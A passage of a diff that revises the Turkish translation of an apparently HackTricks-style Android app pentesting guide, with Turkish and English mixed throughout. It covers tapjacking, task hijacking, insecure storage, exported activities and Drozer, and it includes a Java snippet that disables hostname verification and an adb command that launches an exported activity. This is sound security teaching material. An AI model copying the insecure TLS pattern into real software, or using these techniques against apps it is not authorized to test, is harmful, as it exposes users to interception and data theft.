izin verebilir. FileProvider konfigürasyonu da dikkatle incelenmelidir. +- **Broadcast Receivers and URL Schemes**: Bu bileşenler istismar için kullanılabilir; özellikle URL scheme yönetimindeki giriş doğrulama zafiyetlerine dikkat edilmelidir. +- **SDK Versions**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` öznitelikleri desteklenen Android sürümlerini gösterir; güvenlik açısından eski ve zayıf Android sürümlerini desteklememenin önemi vurgulanır. -**strings.xml** dosyasından API keys, custom schemas ve diğer geliştirici notları gibi hassas bilgiler bulunabilir; bu kaynakların dikkatle incelenmesi önemlidir. +**strings.xml** dosyasından API keys, custom schemas ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir; bu da bu kaynakların dikkatle incelenmesi gerektiğini gösterir. ### Tapjacking -**Tapjacking**, kötü amaçlı bir **application**'ın başlatılıp **kurban uygulamanın üzerine konumlanmasıyla** yapılan bir saldırıdır. Kurban uygulamayı görsel olarak engellediğinde, kötü uygulamanın kullanıcı arayüzü kullanıcıyı etkileşimde bulunmaya kandıracak şekilde tasarlanır ve etkileşim kurban uygulamaya iletilir.\ -Sonuç olarak, kullanıcı aslında kurban uygulama üzerinde işlem yaptığını fark etmeyecek şekilde **körleştirilir**. +**Tapjacking**, bir **kötü amaçlı** **uygulamanın** başlatıldığı ve **hedef uygulamanın** üstüne konumlandığı bir saldırıdır. Görsel olarak hedef uygulamayı örttüğünde, kullanıcıyı kandırıp onunla etkileşimde bulunmasını sağlayacak şekilde tasarlanmıştır; bu etkileşimler aynı zamanda hedef uygulamaya iletilir.\ +Sonuç olarak, kullanıcıya aslında hedef uygulama üzerinde işlem yaptığını fark ettirmeden onu kör eder. -Daha fazla bilgi için bakın: +Find more information in: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -`launchMode`'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **activity**, task Hijacking'e karşı savunmasızdır. Bu, başka bir **application** kurulup gerçek uygulamadan önce başlatıldığında **gerçek uygulamanın task'ını ele geçirebileceği** anlamına gelir (yani kullanıcı gerçek uygulamayı kullanıyor sanırken **kötü amaçlı uygulama ile etkileşimde bulunacaktır**). +Bir **activity**'nin **`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamışsa task Hijacking'e karşı savunmasızdır. Bu, bir **application** yüklenip gerçek uygulamadan önce başlatılırsa gerçek uygulamanın görevini **hijack edebileceği** anlamına gelir (yani kullanıcı, gerçek uygulamayı kullanıyor zannederek **kötü amaçlı uygulama** ile etkileşimde bulunacaktır). -Detaylar için: +More info in: {{#ref}} @@ -115,71 +115,71 @@ android-task-hijacking.md ### Güvensiz veri depolama -**Internal Storage** +**Dahili Depolama** -Android'de internal storage'da **stored** edilen dosyalar, onları oluşturan **app** tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik önlemi Android işletim sistemi tarafından uygulanır ve çoğu uygulamanın güvenlik ihtiyaçları için genelde yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin vermek için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanır. Bu modlar, bu dosyalara diğer uygulamalar (potansiyel olarak kötü amaçlı olanlar dahil) tarafından erişimi kısıtlamaz. +Android'de dahili depolamada **saklanan** dosyalar, onları **oluşturan** **uygulama** tarafından erişilebilir olacak şekilde tasarlanmıştır. Bu güvenlik önlemi Android işletim sistemi tarafından uygulanan bir mekanizmadır ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak geliştiriciler bazen dosyaların farklı uygulamalar arasında paylaşılmasına izin veren `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanırlar. Bu modlar dosyaların diğer uygulamalar (potansiyel olarak kötü amaçlı olanlar dahil) tarafından erişilmesini kısıtlamaz. -1. **Static Analysis:** -- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatle incelenmesini** sağlayın. Bu modlar dosyaların **istemeden veya yetkisiz şekilde erişime** açılmasına neden olabilir. -2. **Dynamic Analysis:** -- Uygulama tarafından oluşturulan dosyaların **izinlerini** doğrulayın. Özellikle herhangi bir dosyanın **dünya tarafından okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını kontrol edin. Bu, cihazda yüklü herhangi bir uygulamanın, kaynağı veya amacı ne olursa olsun, bu dosyaları **okuyup değiştirmesine** izin verebileceği için ciddi bir güvenlik riski oluşturur. +1. **Statik Analiz:** +- **MODE_WORLD_READABLE** ve **MODE_WORLD_WRITABLE** kullanımının dikkatle incelenmesini **sağlayın**. Bu modlar dosyaları **istenmeyen veya yetkisiz erişime açabilir**. +2. **Dinamik Analiz:** +- Uygulama tarafından oluşturulan dosyalara atanmış **izinleri doğrulayın**. Özellikle herhangi bir dosyanın **tüm dünyaya okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazdaki herhangi bir uygulamanın, kaynağı veya amacı ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin verebileceği için büyük bir güvenlik riski oluşturur. -**External Storage** +**Harici Depolama** -SD Kart gibi **external storage** üzerindeki dosyalarla uğraşırken şu önlemler alınmalıdır: +SD Kart gibi **harici depolama** ile uğraşırken bazı önlemler alınmalıdır: 1. **Erişilebilirlik**: -- External storage üzerindeki dosyalar **global olarak okunabilir ve yazılabilir**dir. Bu, herhangi bir uygulama veya kullanıcının bu dosyalara erişebileceği anlamına gelir. +- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**dir. Yani herhangi bir uygulama veya kullanıcı bu dosyalara erişebilir. 2. **Güvenlik Endişeleri**: -- Erişimin kolay olması nedeniyle, hassas bilgileri external storage'da saklamamak önerilir. -- External storage çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan daha az güvenlidir. -3. **External Storage'dan Gelen Verilerin İşlenmesi**: -- External storage'dan alınan veriler üzerinde her zaman **input validation** yapın. Bu kritik öneme sahiptir çünkü veriler güvensiz bir kaynaktan gelmektedir. -- External storage'da bulunan yürütülebilir veya class dosyalarının dinamik olarak yüklenmesi şiddetle önerilmez. -- Uygulamanız external storage'dan yürütülebilir dosyalar almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olmasını sağlayın. Bu adım uygulamanızın güvenlik bütünlüğünü korumak için esastır. +- Kolay erişim nedeniyle hassas bilgilerin harici depolamada saklanmaması tavsiye edilir. +- Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir, bu yüzden daha az güvenlidir. +3. **Harici Depolamadan Veri İşleme**: +- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu çok önemlidir çünkü veriler güvenilmeyen bir kaynaktan gelmektedir. +- Harici depolamada saklanan yürütülebilir veya class dosyalarının dinamik yüklenmesi şiddetle önerilmez. +- Uygulamanızın harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım uygulamanızın güvenlik bütünlüğü için hayati önem taşır. -External storage şu yollarla **erişilebilir**: /storage/emulated/0 , /sdcard , /mnt/sdcard +Harici depolamaya şu yollardan erişilebilir: /storage/emulated/0 , /sdcard , /mnt/sdcard > [!TIP] -> Android 4.4 (**API 17**) ile başlayarak, SD kartta bir dizin yapısı vardır ve bu yapı **bir uygulamanın yalnızca o uygulamaya özel dizine erişimini sınırlayacak şekilde** düzenlenmiştir. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. +> Android 4.4 (**API 17**) ile başlayarak, SD kartın bir dizin yapısı vardır ve bu yapı bir uygulamanın yalnızca kendine ayrılmış dizine erişimini sınırlar. Bu, kötü amaçlı uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. -**Clear-text olarak saklanan hassas veriler** +**Düz metin olarak saklanan hassas veriler** -- **Shared preferences**: Android her uygulamanın `/data/data//shared_prefs/` yolunda kolayca xml dosyaları kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulunabilir. -- **Databases**: Android her uygulamanın `/data/data//databases/` yolunda sqlite veritabanları kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulunabilir. +- **Shared preferences**: Android her uygulamanın `/data/data//shared_prefs/` yoluna xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde hassas bilgilerin düz metin halinde bulunması mümkündür. +- **Databases**: Android her uygulamanın `/data/data//databases/` yoluna sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde hassas bilgilerin düz metin halinde bulunması mümkündür. ### Broken TLS -**Accept All Certificates** +**Tüm Sertifikaları Kabul Etme** -Bazı nedenlerden dolayı geliştiriciler bazen tüm sertifikaları kabul eder; örneğin hostname uyuşmaması olsa bile aşağıdaki gibi kod satırlarıyla: +Bazı nedenlerle geliştiriciler bazen tüm sertifikaları kabul ederler; örneğin hostname eşleşmese bile aşağıdaki gibi kod satırlarıyla: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### Kırık Kriptografi +### Broken Cryptography -**Zayıf Anahtar Yönetimi Süreçleri** +**Poor Key Management Processes** -Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunları kod içinde hardcoded/predictable bir anahtar ile şifreler. Bu yapılmamalıdır çünkü bazı reversing işlemleri saldırganların gizli bilgileri çıkarmasına izin verebilir. +Bazı geliştiriciler hassas verileri local storage içinde saklayıp, kodda hardcoded/öngörülebilir bir key ile şifreliyor. Bu yapılmamalıdır çünkü reversing ile saldırganlar gizli bilgileri çıkarabilirler. -**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** +**Use of Insecure and/or Deprecated Algorithms** -Geliştiriciler yetkilendirme **kontrolleri** yapmak, veriyi **depola**mak veya **göndermek** için **deprecated algorithms** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin parolaları saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force **resistant** olan hashler kullanılmalıdır. +Geliştiriciler yetkilendirme **checks**, **store** veya **send** işlemleri için **deprecated algorithms** kullanmamalıdır. Bunlardan bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri saklamak için **hashes** kullanılıyorsa, salt ile birlikte brute-force **resistant** hash algoritmaları tercih edilmelidir. -### Diğer kontroller +### Other checks -- APK'yı obfuscate etmek önerilir; bu, reverse engineer'ların işini zorlaştırır. -- Uygulama hassassa (ör. banka uygulamaları) kendi **kontrollerini yapmalı, mobilin rooted olup olmadığını kontrol etmeli** ve buna göre hareket etmelidir. -- Uygulama hassassa (ör. banka uygulamaları) bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir. -- Uygulama hassassa (ör. banka uygulamaları) **çalıştırmadan önce kendi bütünlüğünü kontrol etmeli** ve değiştirilip değiştirilmediğini kontrol etmelidir. -- Hangi compiler/packer/obfuscator kullanılarak APK inşa edilmiş kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın +- APK'yı **obfuscate** etmek, reverse engineer işini zorlaştırmak için önerilir. +- Uygulama hassassa (ör. banka uygulamaları), mobilin **rooted** olup olmadığını **kendi kontrollerini** yapmalı ve sonuca göre davranmalıdır. +- Uygulama hassassa (ör. banka uygulamaları), bir **emulator** kullanılıp kullanılmadığını kontrol etmelidir. +- Uygulama hassassa (ör. banka uygulamaları), çalıştırmadan önce **kendi integrity'sini kontrol etmeli** ve değiştirilip değiştirilmediğini doğrulamalıdır. +- APK'nın hangi compiler/packer/obfuscator ile derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın ### React Native Application -React uygulamalarının javascript koduna nasıl kolayca erişileceğini öğrenmek için aşağıdaki sayfayı okuyun: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Xamarin uygulamalarının C# koduna nasıl kolayca erişileceğini öğrenmek için aşağıdaki sayfayı okuyun: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ Xamarin uygulamalarının C# koduna nasıl kolayca erişileceğini öğrenmek i ### Superpacked Applications -Bu [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre superpacked, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmasıdır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve daha hızlı bir yol olarak **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplama** yönteminden söz ediyor. +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** ### Automated Static Code Analysis -[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu** **scanning** yaparak **vulnerabilities** bulabilir. Bu araç, araca **input**'un **kullanıcı tarafından kontrol edildiği yerleri** gösteren bir dizi **known sources**, araca kötü niyetli kullanıcı girdisinin zarara yol açabileceği **dangerous places**'ları gösteren **sinks** ve **rules** içerir. Bu kurallar, bir vulnerability'yi gösteren **sources-sinks** kombinasyonlarını belirtir. +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -Bu bilgiyle, **mariana-trench kodu inceleyip mümkün olan zafiyetleri bulacaktır**. +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API keys, parolalar, gizli url'ler, subdomain'ler...) olabilir. Örneğin şu aracı kullanabilirsiniz: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,14 +216,14 @@ Bir uygulama içinde keşfedebileceğiniz gizli bilgiler (API keys, parolalar, g bypass-biometric-authentication-android.md {{#endref}} -### Diğer ilginç fonksiyonlar +### Other interesting functions -- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` -- **Native fonksiyonlar** `native` olarak tanımlı: `public native, System.loadLibrary, System.load` -- [Bunu okuyun: **native fonksiyonları nasıl reverse edeceğinizi öğrenin**](reversing-native-libraries.md) +- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **Diğer püf noktaları** +### **Other tricks** {{#ref}} @@ -234,157 +234,157 @@ content-protocol.md --- -## Dinamik Analiz +## Dynamic Analysis -> Öncelikle, uygulamayı ve tüm ortamı (Burp CA cert, Drozer ve Frida başta olmak üzere) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, rootlu bir cihaz (emulated veya değil) kesinlikle önerilir. +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -### Çevrimiçi Dinamik analiz +### Online Dynamic analysis -Şu platformda **ücretsiz hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io/). Bu platform APK yükleyip çalıştırmanıza izin verir; bu, bir apk'nın nasıl davrandığını görmek için faydalıdır. +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -Hatta web üzerinden **uygulamanızın loglarını görebilir** ve **adb** ile bağlanabilirsiniz. +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -ADB bağlantısı sayesinde emülatör içinde **Drozer** ve **Frida** kullanabilirsiniz. +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -### Yerel Dinamik Analiz +### Local Dynamic Analysis -#### Bir emulator kullanarak +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (**x86** ve **arm** cihazlar oluşturabilirsiniz; ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**kaynağa göre** en güncel x86 sürümleri **ARM kütüphanelerini** yavaş bir arm emulator'a ihtiyaç duymadan desteklemektedir). -- Bunun nasıl kurulacağını bu sayfada öğrenin: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Personal Edition, bir hesap oluşturmanız gerekir. _Potansiyel hatalardan kaçınmak için VirtualBox _**ILE**_ gelen sürümü **indirmek** önerilir._) -- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'i desteklemiyor). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> Yeni bir emulator oluştururken ekran ne kadar büyükse emulator o kadar yavaş çalışır. Mümkünse küçük ekranları seçin. +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -Genymotion'da **google services** (ör. AppStore gibi) **kurmak** için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -Ayrıca, **Genymotion içindeki Android VM yapılandırmasında** **Bridge Network mode** seçebileceğinizi unutmayın (bu, Android VM'ye başka bir VM'den araçlarla bağlanacaksanız faydalı olacaktır). +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -#### Fiziksel bir cihaz kullanma +#### Use a physical device -Geliştirici seçeneklerini etkinleştirmeniz gerekir ve mümkünse cihazı **root** yapmanız iyi olur: +You need to activate the **debugging** options and it will be cool if you can **root** it: -1. **Ayarlar**. -2. (FromAndroid 8.0) **System** seçin. -3. **About phone** seçin. -4. **Build number** üzerine 7 kez basın. -5. Geri gidin ve **Developer options**'ı bulacaksınız. +1. **Settings**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, uygulamayı denemek, ne yaptığını ve nasıl çalıştığını araştırmak ve ona alışmaktır.\ -> İlk dinamik analiz aşamasını MobSF dynamic analysis + pidcat kullanarak yapmanızı öneririm; böylece uygulamanın nasıl çalıştığını öğrenirken MobSF daha sonra inceleyebileceğiniz birçok ilginç veriyi capture edecektir. +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. ### Unintended Data Leakage **Logging** -Geliştiriciler, **debugging information**'ı kamuya açık hale getirmede dikkatli olmalıdır, çünkü bu sensitive data leaks'lara yol açabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanımı ve okunabilirliği açısından tercih edilir. +Geliştiriciler **debugging information**'ı public olarak ifşa etmek konusunda dikkatli olmalıdır; aksi halde hassas veri leak'lerine yol açabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir. > [!WARNING] -> Android 4.0'dan daha yeni sürümlerden itibaren, **uygulamalar yalnızca kendi loglarına erişebilir**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\ -> Yine de hassas bilgileri **loglamamak** önerilir. +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Android'in **clipboard-based** framework'ü uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebileceği için bir risk oluşturur ve hassas verilerin açığa çıkmasına neden olabilir. Kredi kartı bilgileri gibi hassas bölümler için kopyala/yapıştır fonksiyonlarını devre dışı bırakmak önemlidir. +Android'in **clipboard-based** framework'ü uygulamalar arasında kopyala-yapıştır fonksiyonunu sağlar, fakat diğer uygulamaların clipboard'a erişebilmesi nedeniyle hassas verilerin ifşa olma riski vardır. Kredi kartı bilgileri gibi hassas bölümler için copy/paste fonksiyonlarını devre dışı bırakmak önemlidir. **Crash Logs** -Bir uygulama **crash** yapar ve logları kaydederse, özellikle uygulama tersine mühendislikle çözülemiyorsa, bu loglar saldırganlara yardımcı olabilir. Bu riski azaltmak için crash durumlarında loglama yapmaktan kaçının; loglar ağ üzerinden gönderilecekse güvenlik için SSL kanalı kullanıldığından emin olun. +Eğer bir uygulama **crash** olup log kaydederse, bu loglar özellikle uygulama reverse edilemiyorsa saldırganlara yardımcı olabilir. Bu riski azaltmak için crash durumunda log tutmaktan kaçının ve loglar ağ üzerinden gönderilecekse SSL kanalı üzerinden gönderildiğinden emin olun. -Pentester olarak, **bu loglara bakmayı deneyin**. +Bir pentester olarak, **bu loglara göz atmayı** deneyin. **Analytics Data Sent To 3rd Parties** -Uygulamalar sıklıkla Google Adsense gibi servisleri entegre eder; geliştiricilerin hatalı uygulaması nedeniyle bu servisler hassas verileri istemeden **leak** edebilir. Potansiyel veri sızıntılarını tespit etmek için uygulamanın trafiğini intercept edip üçüncü taraf servislere hassas bilgi gönderilip gönderilmediğini kontrol etmek önerilir. +Uygulamalar sıklıkla Google Adsense gibi servisleri entegre eder; geliştiricinin hatalı uygulaması nedeniyle hassas veriler istemeden üçüncü taraflara **leak** edilebilir. Olası veri leak'lerini tespit etmek için uygulamanın trafiğini intercept etmek ve üçüncü taraflara gönderilen hassas bilgileri kontrol etmek önerilir. ### SQLite DBs -Çoğu uygulama bilgi saklamak için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseları**, **tabloların** ve **sütunların** adlarını ve kaydedilen tüm **verileri** inceleyin; çünkü hassas bilgi (bu bir güvenlik açığı olur) bulabilirsiniz.\ -Veritabanları genelde `/data/data/the.package.name/databases` altında yer alır, örneğin `/data/data/com.mwr.example.sieve/databases` +Çoğu uygulama bilgi saklamak için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseları**, **tabloların** ve **sütunların** isimlerini ve saklanan tüm **verileri** inceleyin; hassas bilgi bulabilirsiniz (bu bir vulnerability olur).\ +Databases genelde `/data/data/the.package.name/databases` içinde yer alır, örn `/data/data/com.mwr.example.sieve/databases` -Eğer veritabanı gizli bilgileri kaydediyor ve **encrypted** ise fakat parolayı uygulama içinde **bulabiliyorsanız**, bu hâlâ bir **güvenlik açığı**'dır. +Eğer database gizli bilgileri saklıyor ve **encrypted** ise ama uygulama içinde **password**'u bulabiliyorsanız bu hâlâ bir **vulnerability**'dir. -Tabloları listelemek için `.tables` komutunu, tablolardaki sütunları listelemek için `.schema ` komutunu kullanın. +Tabloları `.tables` ile, tablolardaki sütunları ise `.schema ` ile enumerate edin. ### Drozer (Exploit Activities, Content Providers and Services) -Drozer Docs'a göre: **Drozer** size bir Android uygulamasının rolünü üstlenme ve diğer uygulamalarla etkileşimde bulunma imkanı verir. Yüklü bir uygulamanın yapabileceği her şeyi yapabilir; örneğin Android’in Inter-Process Communication (IPC) mekanizmasını kullanabilir ve altta yatan işletim sistemi ile etkileşime girebilir. .\ -Drozer, exported activities, exported services ve Content Providers'ı **exploit** etmek için kullanışlı bir araçtır; bunu sonraki bölümlerde öğreneceksiniz. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities -[**Android Activity nedir, tazelemek isterseniz bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Ayrıca unutmayın ki bir activity'nin kodu **`onCreate`** metodunda başlar. +[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Bir Activity exported olduğunda ekranını harici bir uygulamadan çağırabilirsiniz. Bu yüzden, eğer hassas bilgi içeren bir activity exported ise, kimlik doğrulama mekanizmalarını **bypass** ederek ona erişebilirsiniz. +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** -[**Drozer ile exported activities'i nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) +[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Ayrıca bir exported activity'yi adb üzerinden başlatabilirsiniz: +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOT**: MobSF bir activity'de _**singleTask/singleInstance**_ kullanımını `android:launchMode` olarak kötü amaçlı olarak tespit edecektir, fakat [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, görünüşe göre bu sadece eski sürümlerde (API versions < 21) tehlikelidir. +**NOTE**: MobSF, bir activity'de `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü amaçlı olarak tespit edecektir, ancak [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir. > [!TIP] -> Bir authorisation bypass her zaman bir vulnerability değildir; bunun nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. +> Bir yetkilendirme bypass'ı her zaman bir zafiyet değildir; bu, bypass'ın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. -**Sensitive information leakage** +**Hassas bilgi sızıntısı** -**Activities can also return results**. Eğer exported ve korumasız bir activity içinde **`setResult`** metodunu çağıran ve **hassas bilgi** döndüren bir durum bulursanız, sensitive information leakage söz konusudur. +Activity'ler ayrıca sonuç döndürebilir. Eğer dışa açılmış (exported) ve korunmasız bir activity bulur, bunun **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** tespit ederseniz, hassas bilgi sızıntısı vardır. #### Tapjacking -Eğer Tapjacking engellenmemişse, exported activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler gerçekleştirmesini** sağlayabilirsiniz. Daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking). +Eğer tapjacking engellenmemişse, dışa açılmış activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler yapmasını** sağlayabilirsiniz. For more info about [**what is Tapjacking follow the link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers temel olarak **veri paylaşımı** için kullanılır. Eğer bir uygulamanın erişilebilir content providers'ı varsa, bunlardan **hassas veriler** çekebilirsiniz. Ayrıca olası **SQL injections** ve **Path Traversals**'ı test etmek ilginçtir çünkü bunlar zayıf olabilir. +Content provider'lar temel olarak veri paylaşmak için kullanılır. Eğer bir uygulamada erişilebilir content provider'lar varsa, bunlardan hassas verileri çekebilmeniz mümkün olabilir. Ayrıca potansiyel SQL injections ve Path Traversals için test etmek önemlidir çünkü bunlar zafiyete açık olabilir. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Bir Service'in eylemlerinin `onStartCommand` metodunda başladığını unutmayın. +Unutmayın ki bir Service'in işlemleri `onStartCommand` metodunda başlar. -Service temelde **veri alabilen**, **işleyebilen** ve **döndürebilen** (veya döndürmeyen) bir bileşendir. Dolayısıyla, bir uygulama bazı Service'leri export ediyorsa ne yaptığını anlamak için **kodu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini bypass etmek gibi amaçlarla **dinamik** olarak **test** etmelisiniz...\ +Service temelde veri alabilen, işleyebilen ve (veya) bir yanıt döndürebilen bir 